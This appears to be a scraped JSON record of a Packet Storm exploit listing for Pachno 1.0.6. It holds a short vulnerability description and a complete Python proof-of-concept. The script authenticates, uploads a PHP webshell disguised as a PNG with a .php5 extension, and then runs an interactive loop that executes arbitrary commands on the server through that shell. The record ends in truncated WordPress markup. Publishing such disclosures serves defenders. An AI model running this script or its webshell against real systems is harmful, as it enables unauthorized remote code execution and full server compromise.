{“lastseen”:”2026-04-13T17:45:23″,”description”:”Pachno version 1.0.6 suffers from a remote shell upload vulnerability. The multipart file parameter to the \/uploadfile endpoint allows authenticated users to upload files directly to the server. File upload must be enabled by an admin, who can also…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pachno 1.0.6 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:218856″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\n #\\n #\\n # Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution\\n #\\n #\\n # Vendor: Daniel Andr\u00e9 Eikeland\\n # Product web page: https:\/\/github.com\/pachno\/pachno\\n # Affected version: 1.0.6\\n #\\n # Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)\\n # designed for team project management, issue tracking, and documentation. It offers a module-based,\\n # customizable environment for software development and team workflows, distributed under the\\n # Mozilla Public License.\\n #\\n # Desc: The multipart file parameter to the \/uploadfile endpoint allows authenticated users to\\n # upload files directly to the server. File upload must be enabled by an admin, who can also\\n # configure the storage path, within a web-accessible \/public directory. Extension filtering\\n # is ineffective. Although a blacklist exists, it is never used (dead code), allowing arbitrary\\n # file types such as .php5 to be uploaded. Files are stored on disk regardless of permission\\n # checks. If the upload path is web-accessible, uploaded scripts can be executed, leading to\\n # remote code execution.\\n #\\n # Tested on: GNU\/Linux\\n # Apache2\\n # PHP\/7.4\\n # MySQL\/5.7 (MariaDB)\\n #\\n #\\n # Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n # @zeroscience\\n #\\n #\\n # Advisory ID: ZSL-2026-5982\\n # Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5982\\n #\\n #\\n # 06.04.2026\\n #\\n #\\n \\n import requests\\n import time\\n import sys\\n \\n if len(sys.argv) \\u003c 4:\\n print(f\\”Usage: {sys.argv[0]} \\u003chost\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\”)\\n print(\\”Example: python3 poc.py http:\/\/127.0.0.1 admin admin\\”)\\n sys.exit(1)\\n \\n host = sys.argv[1].rstrip(‘\/’)\\n user = sys.argv[2]\\n passwd = sys.argv[3]\\n \\n s = requests.Session()\\n \\n print(\\”[+] Logging in…\\”)\\n login_data = {\\”username\\”: user, \\”password\\”: passwd, \\”rememberme\\”: \\”1\\”}\\n \\n r = s.post(f\\”{host}\/login\\”, data=login_data, timeout=10)\\n \\n if r.status_code != 200 or \\”username=\\” not in str(r.cookies):\\n print(\\”[-] Login failed\\”)\\n sys.exit(1)\\n \\n print(\\”[+] Login successful\\”)\\n print(\\”[+] Uploading webshell…\\”)\\n \\n webshell = ”’\\u003c?php if(isset($_GET[‘cmd’])) echo \\”\\u003cpre\\u003e\\”.shell_exec($_GET[‘cmd’]).\\”\\u003c\/pre\\u003e\\”; ?\\u003e”’\\n \\n files = {‘file’: (‘shell.php5’, webshell, ‘image\/png’)}\\n \\n r = s.post(f\\”{host}\/uploadfile\\”, files=files, timeout=10)\\n \\n if r.status_code not in [200, 201, 204]:\\n print(f\\”[-] Upload failed: {r.status_code}\\”)\\n sys.exit(1)\\n \\n print(\\”[+] Webshell uploaded successfully!\\”)\\n \\n user_id = 2\\n timestamp = int(time.time())\\n \\n filename = f\\”{user_id}_{timestamp}_shell.php5\\”\\n shell_url = f\\”{host}\/public\/{filename}\\”\\n \\n print(f\\”[+] Filename: {filename}\\”)\\n print(f\\”[+] Webshell URL: {shell_url}\\\\n\\”)\\n \\n while True:\\n try:\\n cmd = input(\\”___ \\”).strip()\\n if cmd.lower() in [‘exit’, ‘quit’]:\\n break\\n if not cmd:\\n continue\\n \\n resp = s.get(shell_url, params={‘cmd’: cmd}, timeout=10)\\n print(resp.text if resp.status_code == 200 else f\\”[-] Error: {resp.status_code}\\”)\\n \\n except KeyboardInterrupt:\\n break\\n except Exception as j:\\n print(f\\”[-] Error: {j}\\”)\\n \\n print(\\”\\\\n[+] Done\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218856″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218856\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-13T17:45:23″,”description”:”Pachno version 1.0.6 suffers from a remote shell upload vulnerability. The multipart file parameter to the \/uploadfile endpoint allows authenticated users to upload files directly…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-46368","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n